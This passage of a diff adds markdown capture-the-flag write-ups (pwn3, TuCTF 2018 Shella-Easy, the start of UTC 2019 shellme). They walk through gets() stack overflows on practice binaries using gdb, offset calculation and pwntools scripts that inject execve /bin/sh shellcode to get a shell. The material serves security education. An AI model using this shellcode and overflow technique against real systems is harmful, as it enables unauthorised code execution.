ebx at 0xffffd0e4, ebp at 0xffffd0e8, eip at 0xffffd0ec
|
||||
|
||||
|
||||
|
||||
Here we see that the important addresses are **0xffffd0ec** and **0xffffcfbe**. So let's calculate the offset:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex(0xffffd0ec)
|
||||
'0xffffd0ec'
|
||||
>>> hex(0xffffd0ec - 0xffffcfbe)
|
||||
'0x12e'
|
||||
|
||||
|
||||
|
||||
And we see that we have an offset of 0x12e bytes between the start of our input (0xffffcfbe) and the return address (0xffffd0ec). This makes sense because our input value (local_12e) is 294 bytes large,there are 2 saved register values (ebx and ebp) on the stack in between our input and the saved return address which are each 4 bytes a piece (294 + 4 +4 = 0x12e). So with this we can construct our payload :
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/12 ] [binexp/2/pwn3]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
target = process('./pwn3')
|
||||
|
||||
#print the text, up to the address of the start of the input
|
||||
print(target.recvuntil("journey "))
|
||||
|
||||
#Scan the rest of the line
|
||||
leak = target.recvline()
|
||||
|
||||
Adr = int(leak.strip(b"!\n"),16)
|
||||
|
||||
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
|
||||
|
||||
payload = b""
|
||||
payload += shellcode
|
||||
payload += b"\x00" * (0x12e - len(payload))
|
||||
payload += p32(Adr)
|
||||
|
||||
print(hexdump(payload))
|
||||
|
||||
|
||||
|
||||
The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode
|
||||
|
||||
Now let's check out our payload:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './pwn3': pid 218489
|
||||
b'Take this, you might need it on your journey '
|
||||
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 │1·Ph│//sh│h/bi│n··P│
|
||||
00000010 53 89 e1 b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│
|
||||
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
|
||||
*
|
||||
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe d4 │····│····│····│····│
|
||||
00000130 94 ff │··│
|
||||
00000132
|
||||
|
||||
|
||||
|
||||
Now let's use the following 2 lines to feed our payload into the binary:
|
||||
|
||||
|
||||
target.sendline(payload)
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './pwn3': pid 524665
|
||||
b'Take this, you might need it on your journey '
|
||||
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 dc 50 │1·Ph│//sh│h/bi│n··P│
|
||||
00000010 53 89 cc b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│
|
||||
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
|
||||
*
|
||||
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 27 │····│····│····│···'│
|
||||
00000130 d7 ff │··│
|
||||
00000132
|
||||
[*] Switching to interactive mode
|
||||
[*] Got EOF while reading in interactive
|
||||
$cat flag.txt
|
||||
flag{g0ttem_b0yz}
|
||||
$ exit
|
||||
[*] Got EOF while reading in interactive
|
||||
$ exit
|
||||
[*] Process './pwn3' stopped with exit code 0 (pid 524665)
|
||||
[*] Got EOF while sending in interactive
|
||||
|
||||
|
||||
|
||||
|
||||
And that's it! We have been able to print out the flag.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
387
2/shella.md
Normal file
|
@ -0,0 +1,387 @@
|
|||
# TuCTF 2018 Shella-Easy
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy
|
||||
--2021-03-05 17:20:57-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy
|
||||
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy [following]
|
||||
--2021-03-05 17:20:57-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133, 185.199.108.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 7404 (7.2K) [application/octet-stream]
|
||||
Saving to: ‘shella-easy’
|
||||
|
||||
shella-easy 100%[============================================================================================================================================================================>] 7.23K --.-KB/s in 0s
|
||||
|
||||
2021-03-05 17:20:57 (20.9 MB/s) - ‘shella-easy’ saved [7404/7404]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
|
||||
→ file shella-easy
|
||||
shella-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38de2077277362023aadd2209673b21577463b66, not stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
|
||||
→ chmod +X shella-easy
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First let's run the binary to see what it does:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
|
||||
→ ./shella-easy
|
||||
Yeah I'll have a 0xffa70630 with a side of fries thanks
|
||||
yes
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
|
||||
→ ./shella-easy
|
||||
Yeah I'll have a 0xff94b1a0 with a side of fries thanks
|
||||
no
|
||||
|
||||
|
||||
|
||||
Very similar to the previous challenge we did, the binary prints out some text with a memory address, and then asks us for some text input. Let's see what we can find in ghidra:
|
||||
|
||||

|
||||
|
||||
Which gives us the following code:
|
||||
|
||||
|
||||
undefined4 main(void)
|
||||
|
||||
{
|
||||
char local_4c [64];
|
||||
int local_c;
|
||||
|
||||
setvbuf(stdout,(char *)0x0,2,0x14);
|
||||
setvbuf(stdin,(char *)0x0,2,0x14);
|
||||
local_c = -0x35014542;
|
||||
printf("Yeah I\'ll have a %p with a side of fries thanks\n",local_4c);
|
||||
gets(local_4c);
|
||||
if (local_c != -0x21524111) {
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(0);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Here we see that our input text gets stored into the variable local_4c and gets passed through a gets() function, and we know that the gets call does not restrict user input, therefore we know we can do a buffer overflow thanks to it. The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode
|
||||
|
||||
However, according to the decompiled code, the function exit is called, when this function is called, the ret instruction will not run in the context of this function, so we won't get code execution. So let's look at the assembly :
|
||||
|
||||

|
||||
|
||||
|
||||
08048539 e8 52 fe CALL gets char * gets(char * __s)
|
||||
ff ff
|
||||
0804853e 83 c4 04 ADD ESP,0x4
|
||||
08048541 81 7d f8 CMP dword ptr [EBP + local_c],0xdeadbeef
|
||||
ef be ad de
|
||||
08048548 74 07 JZ LAB_08048551
|
||||
0804854a 6a 00 PUSH 0x0
|
||||
0804854c e8 4f fe CALL exit void exit(int __status)
|
||||
ff ff
|
||||
-- Flow Override: CALL_RETURN (CALL_TERMINATOR)
|
||||
LAB_08048551 XREF[1]: 08048548(j)
|
||||
08048551 b8 00 00 MOV EAX,0x0
|
||||
00 00
|
||||
08048556 8b 5d fc MOV EBX,dword ptr [EBP + local_8]
|
||||
08048559 c9 LEAVE
|
||||
0804855a c3 RET
|
||||
|
||||
|
||||
|
||||
Here we see that there is a check to see if the variable local_c is equal to 0xdeadbeef, and if it is, the function doesn't call exit(0), and we end up with our code execution. Now let's take a look at the stack layout in ghidra:
|
||||
|
||||
|
||||
**************************************************************
|
||||
* FUNCTION *
|
||||
**************************************************************
|
||||
undefined main()
|
||||
undefined AL:1
|
||||
undefined4 Stack[-0x8]:4 local_8 XREF[1]: 08048556(R)
|
||||
undefined4 Stack[-0xc]:4 local_c XREF[2]: 0804851b(W),
|
||||
08048541(R)
|
||||
undefined1 Stack[-0x4c]:1 local_4c XREF[2]: 08048522(*),
|
||||
08048535(*)
|
||||
main XREF[4]: Entry Point(*),
|
||||
_start:080483f7(*), 08048630,
|
||||
080486a0(*)
|
||||
080484db 55 PUSH EBP
|
||||
|
||||
|
||||
|
||||
We see that the local_c variable is within range of our overflowing variable (local_4c) where we put our text in. So, now that we know that, we need to find out what the offset is between the memory address of our input and the memory address of the return address, to do so we use gdb:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
|
||||
→ gdb ./shella-easy
|
||||
GNU gdb (GDB) 10.1
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||||
Reading symbols from ./shella-easy...
|
||||
(No debugging symbols found in ./shella-easy)
|
||||
gef➤ disas main
|
||||
Dump of assembler code for function main:
|
||||
0x080484db <+0>: push ebp
|
||||
0x080484dc <+1>: mov ebp,esp
|
||||
0x080484de <+3>: push ebx
|
||||
0x080484df <+4>: sub esp,0x44
|
||||
0x080484e2 <+7>: call 0x8048410 <__x86.get_pc_thunk.bx>
|
||||
0x080484e7 <+12>: add ebx,0x1b19
|
||||
0x080484ed <+18>: mov eax,DWORD PTR [ebx-0x4]
|
||||
0x080484f3 <+24>: mov eax,DWORD PTR [eax]
|
||||
0x080484f5 <+26>: push 0x14
|
||||
0x080484f7 <+28>: push 0x2
|
||||
0x080484f9 <+30>: push 0x0
|
||||
0x080484fb <+32>: push eax
|
||||
0x080484fc <+33>: call 0x80483c0
|
||||
0x08048501 <+38>: add esp,0x10
|
||||
0x08048504 <+41>: mov eax,DWORD PTR [ebx-0x8]
|
||||
0x0804850a <+47>: mov eax,DWORD PTR [eax]
|
||||
0x0804850c <+49>: push 0x14
|
||||
0x0804850e <+51>: push 0x2
|
||||
0x08048510 <+53>: push 0x0
|
||||
0x08048512 <+55>: push eax
|
||||
0x08048513 <+56>: call 0x80483c0
|
||||
0x08048518 <+61>: add esp,0x10
|
||||
0x0804851b <+64>: mov DWORD PTR [ebp-0x8],0xcafebabe
|
||||
0x08048522 <+71>: lea eax,[ebp-0x48]
|
||||
0x08048525 <+74>: push eax
|
||||
0x08048526 <+75>: lea eax,[ebx-0x1a20]
|
||||
0x0804852c <+81>: push eax
|
||||
0x0804852d <+82>: call 0x8048380
|
||||
0x08048532 <+87>: add esp,0x8
|
||||
0x08048535 <+90>: lea eax,[ebp-0x48]
|
||||
0x08048538 <+93>: push eax
|
||||
0x08048539 <+94>: call 0x8048390
|
||||
0x0804853e <+99>: add esp,0x4
|
||||
0x08048541 <+102>: cmp DWORD PTR [ebp-0x8],0xdeadbeef
|
||||
0x08048548 <+109>: je 0x8048551
|
||||
0x0804854a <+111>: push 0x0
|
||||
0x0804854c <+113>: call 0x80483a0
|
||||
0x08048551 <+118>: mov eax,0x0
|
||||
0x08048556 <+123>: mov ebx,DWORD PTR [ebp-0x4]
|
||||
0x08048559 <+126>: leave
|
||||
0x0804855a <+127>: ret
|
||||
End of assembler dump.
|
||||
|
||||
|
||||
|
||||
Here we want to set a breakpoint after the gets call at +99:
|
||||
|
||||
|
||||
gef➤ b *main+99
|
||||
Breakpoint 1 at 0x804853e
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/shella/shella-easy
|
||||
Yeah I'll have a 0xffffd0a0 with a side of fries thanks
|
||||
13371337
|
||||
|
||||
Breakpoint 1, 0x0804853e in main ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$eax : 0xffffd0a0 → "13371337"
|
||||
$ebx : 0x0804a000 → 0x08049f0c → 0x00000001
|
||||
$ecx : 0xf7f90540 → 0xfbad208b
|
||||
$edx : 0xfbad208b
|
||||
$esp : 0xffffd09c → 0xffffd0a0 → "13371337"
|
||||
$ebp : 0xffffd0e8 → 0x00000000
|
||||
$esi : 0x1
|
||||
$edi : 0x080483e0 → <_start+0> xor ebp, ebp
|
||||
$eip : 0x0804853e → add esp, 0x4
|
||||
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0xffffd09c│+0x0000: 0xffffd0a0 → "13371337" ← $esp
|
||||
0xffffd0a0│+0x0004: "13371337"
|
||||
0xffffd0a4│+0x0008: "1337"
|
||||
0xffffd0a8│+0x000c: 0x00000000
|
||||
0xffffd0ac│+0x0010: 0xf7dd8b82 → <__internal_atexit+66> add esp, 0x10
|
||||
0xffffd0b0│+0x0014: 0xf7f903bc → 0xf7f919e0 → 0x00000000
|
||||
0xffffd0b4│+0x0018: 0xffffffff
|
||||
0xffffd0b8│+0x001c: 0x080483e0 → <_start+0> xor ebp, ebp
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
|
||||
0x8048535 lea eax, [ebp-0x48]
|
||||
0x8048538 push eax
|
||||
0x8048539 call 0x8048390
|
||||
→ 0x804853e add esp, 0x4
|
||||
0x8048541 cmp DWORD PTR [ebp-0x8], 0xdeadbeef
|
||||
0x8048548 je 0x8048551
|
||||
0x804854a push 0x0
|
||||
0x804854c call 0x80483a0
|
||||
0x8048551 mov eax, 0x0
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "shella-easy", stopped 0x804853e in main (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x804853e → main()
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
After setting the breakpoint, we ran the binary, and then we passed a pattern that is easy to remember (13371337).Now that we hit our breakpoint, we want to know where is our pattern located:
|
||||
|
||||
|
||||
gef➤ search-pattern 13371337
|
||||
[+] Searching '13371337' in memory
|
||||
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
|
||||
0xffffd0a0 - 0xffffd0a8 → "13371337"
|
||||
gef➤ info frame
|
||||
Stack level 0, frame at 0xffffd0f0:
|
||||
eip = 0x804853e in main; saved eip = 0xf7dbfa0d
|
||||
Arglist at 0xffffd0e8, args:
|
||||
Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0
|
||||
Saved registers:
|
||||
ebx at 0xffffd0e4, ebp at 0xffffd0e8, eip at 0xffffd0ec
|
||||
|
||||
|
||||
|
||||
Here we see that our 13371337 pattern is located at **0xffffd0a0** and the return address is located at **0xffffd0ec** so let's calculate the offset:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/shella]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex( 0xffffd0a0 - 0xffffd0ec )
|
||||
'-0x4c'
|
||||
|
||||
|
||||
|
||||
And we see that we have a 0x4c offset between our input text and the return function. With this we can create our exploit using the shellcode we used for the previous challenge:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/shella]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
target = process('./shella-easy')
|
||||
|
||||
leak = target.recvline()
|
||||
leak = leak.strip(b"Yeah I'll have a ")
|
||||
leak = leak.strip(b" with a side of fries thanks\n")
|
||||
|
||||
Adr = int(leak, 16)
|
||||
|
||||
payload = b""
|
||||
# http://shell-storm.org/shellcode/files/shellcode-827.php
|
||||
payload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
|
||||
payload += b"\x00" * (0x40 - len(payload)) # Padding to the local_c variable
|
||||
payload += p32(0xdeadbeef) #overwrite local_c with 0xdeadbeef
|
||||
payload += b"\x00"*8 #padding to the return address
|
||||
payload += p32(Adr) # Overwrite the return address to point to the start of our payload, where the shellcode is
|
||||
|
||||
|
||||
#hexdump the payload:
|
||||
print(hexdump(payload))
|
||||
|
||||
|
||||
|
||||
Here we can see our payload (shellcode + nullbytes to get to 0x40 + little endian deadbeef + 8 nullbytes + little endian leaked address):
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './shella-easy': pid 1269456
|
||||
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 │1·Ph│//sh│h/bi│n··P│
|
||||
00000010 53 89 e1 b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│
|
||||
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
|
||||
*
|
||||
00000040 ef be ad de 00 00 00 00 00 00 00 00 10 0a 84 ff │····│····│····│····│
|
||||
00000050
|
||||
|
||||
|
||||
|
||||
Now we send the payload to the binary file with the following 2 lines:
|
||||
|
||||
|
||||
target.sendline(payload)
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
490
2/shme.md
Normal file
|
@ -0,0 +1,490 @@
|
|||
# Utc 2019 shellme
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/libc6_2.27-3ubuntu1_i386.so
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/server
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
|
||||
→ file server
|
||||
server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=be2f490cdd60374344e1075c9dd31060666bd524, not stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
|
||||
→ chmod +x server
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First let's run pwn checksec on the binary file, and then execute it to see what it does:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
|
||||
→ pwn checksec server; ./server
|
||||
[*] '/home/nothing/binexp/2/shme/server'
|
||||
Arch: i386-32-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x8048000)
|
||||
|
||||
Legend: buff MODIFIED padding MODIFIED
|
||||
notsecret MODIFIED secret MODIFIED
|
||||
return address MODIFIED
|
||||
0xffd2a2e0 | 00 00 00 00 00 00 00 00 |
|
||||
0xffd2a2e8 | 00 00 00 00 00 00 00 00 |
|
||||
0xffd2a2f0 | 00 00 00 00 00 00 00 00 |
|
||||
0xffd2a2f8 | 00 00 00 00 00 00 00 00 |
|
||||
0xffd2a300 | ff ff ff ff ff ff ff ff |
|
||||
0xffd2a308 | ff ff ff ff ff ff ff ff |
|
||||
0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 |
|
||||
0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 |
|
||||
Return address: 0x0804868b
|
||||
|
||||
Input some text: here is some text
|
||||
|
||||
Legend: buff MODIFIED padding MODIFIED
|
||||
notsecret MODIFIED secret MODIFIED
|
||||
return address MODIFIED
|
||||
0xffd2a2e0 | 68 65 72 65 20 69 73 20 |
|
||||
0xffd2a2e8 | 73 6f 6d 65 20 74 65 78 |
|
||||
0xffd2a2f0 | 74 00 00 00 00 00 00 00 |
|
||||
0xffd2a2f8 | 00 00 00 00 00 00 00 00 |
|
||||
0xffd2a300 | ff ff ff ff ff ff ff ff |
|
||||
0xffd2a308 | ff ff ff ff ff ff ff ff |
|
||||
0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 |
|
||||
0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 |
|
||||
Return address: 0x0804868b
|
||||
|
||||
|
||||
|
||||
We see that we are dealing with a 32bit binary that has NX enabled, when we run the binary, and put in too much text we get the following:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
|
||||
→ ./server
|
||||
|
||||
Legend: buff MODIFIED padding MODIFIED
|
||||
notsecret MODIFIED secret MODIFIED
|
||||
return address MODIFIED
|
||||
0xffd19e90 | 00 00 00 00 00 00 00 00 |
|
||||
0xffd19e98 | 00 00 00 00 00 00 00 00 |
|
||||
0xffd19ea0 | 00 00 00 00 00 00 00 00 |
|
||||
0xffd19ea8 | 00 00 00 00 00 00 00 00 |
|
||||
0xffd19eb0 | ff ff ff ff ff ff ff ff |
|
||||
0xffd19eb8 | ff ff ff ff ff ff ff ff |
|
||||
0xffd19ec0 | 40 75 ef f7 00 a0 04 08 |
|
||||
0xffd19ec8 | d8 9e d1 ff 8b 86 04 08 |
|
||||
Return address: 0x0804868b
|
||||
|
||||
Input some text: 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
|
||||
Legend: buff MODIFIED padding MODIFIED
|
||||
notsecret MODIFIED secret MODIFIED
|
||||
return address MODIFIED
|
||||
0xffd19e90 | 30 30 30 30 30 30 30 30 |
|
||||
0xffd19e98 | 30 30 30 30 30 30 30 30 |
|
||||
0xffd19ea0 | 30 30 30 30 30 30 30 30 |
|
||||
0xffd19ea8 | 30 30 30 30 30 30 30 30 |
|
||||
0xffd19eb0 | 30 30 30 30 30 30 30 30 |
|
||||
0xffd19eb8 | 30 30 30 30 30 30 30 30 |
|
||||
0xffd19ec0 | 30 30 30 30 30 30 30 30 |
|
||||
0xffd19ec8 | 30 30 30 30 30 30 30 30 |
|
||||
Return address: 0x30303030
|
||||
|
||||
[1] 1782143 segmentation fault (core dumped) ./server
|
||||
|
||||
|
||||
|
||||
|
||||
So here we see that we can cause a seg fault when we put in too much text, now let's take a look at it from inside ghidra:
|
||||
|
||||

|
||||
|
||||
Luckily this time the main function is actually called 'main' so it was easy to find, we get the following code:
|
||||
|
||||
|
||||
undefined4 main(void)
|
||||
|
||||
{
|
||||
undefined *puVar1;
|
||||
|
||||
puVar1 = &stack0x00000004;
|
||||
setbuf(stdout,(char *)0x0);
|
||||
setbuf(stdin,(char *)0x0);
|
||||
vuln(puVar1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Here we see a function called 'vuln' so let's take a look at it:
|
||||
|
||||
|
||||
void vuln(void)
|
||||
|
||||
{
|
||||
char local_3c [32];
|
||||
undefined local_1c [20];
|
||||
|
||||
memset(local_3c,0,0x20);
|
||||
memset(local_1c,0xff,0x10);
|
||||
init_visualize(local_3c);
|
||||
visualize(local_3c);
|
||||
printf("Input some text: ");
|
||||
gets(local_3c);
|
||||
visualize(local_3c);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
Here we see that local_3c is initially set to be able to hold only 32 bytes of data, but then we see that it gets passed into a gets() call, and we know that gets calls are vulnerable to buffer overflows because it doesn't restrict our input at all. Plus since there is no stack canary, we can overwrite the return address and get code execution, so we let's set a breakpoint after the gets call, and see where our text input is stored in memory:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
|
||||
→ gdb ./server
|
||||
GNU gdb (GDB) 10.1
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||||
Reading symbols from ./server...
|
||||
(No debugging symbols found in ./server)
|
||||
gef➤ disas vulnm
|
||||
No symbol table is loaded. Use the "file" command.
|
||||
gef➤ disas vuln
|
||||
Dump of assembler code for function vuln:
|
||||
0x080485b1 <+0>: push ebp
|
||||
0x080485b2 <+1>: mov ebp,esp
|
||||
0x080485b4 <+3>: push ebx
|
||||
0x080485b5 <+4>: sub esp,0x34
|
||||
0x080485b8 <+7>: call 0x80484c0 <__x86.get_pc_thunk.bx>
|
||||
0x080485bd <+12>: add ebx,0x1a43
|
||||
0x080485c3 <+18>: sub esp,0x4
|
||||
0x080485c6 <+21>: push 0x20
|
||||
0x080485c8 <+23>: push 0x0
|
||||
0x080485ca <+25>: lea eax,[ebp-0x38]
|
||||
0x080485cd <+28>: push eax
|
||||
0x080485ce <+29>: call 0x8048440
|
||||
0x080485d3 <+34>: add esp,0x10
|
||||
0x080485d6 <+37>: sub esp,0x4
|
||||
0x080485d9 <+40>: push 0x10
|
||||
0x080485db <+42>: push 0xff
|
||||
0x080485e0 <+47>: lea eax,[ebp-0x18]
|
||||
0x080485e3 <+50>: push eax
|
||||
0x080485e4 <+51>: call 0x8048440
|
||||
0x080485e9 <+56>: add esp,0x10
|
||||
0x080485ec <+59>: sub esp,0xc
|
||||
0x080485ef <+62>: lea eax,[ebp-0x38]
|
||||
0x080485f2 <+65>: push eax
|
||||
0x080485f3 <+66>: call 0x804869e
|
||||
0x080485f8 <+71>: add esp,0x10
|
||||
0x080485fb <+74>: sub esp,0xc
|
||||
0x080485fe <+77>: lea eax,[ebp-0x38]
|
||||
0x08048601 <+80>: push eax
|
||||
0x08048602 <+81>: call 0x80486e1
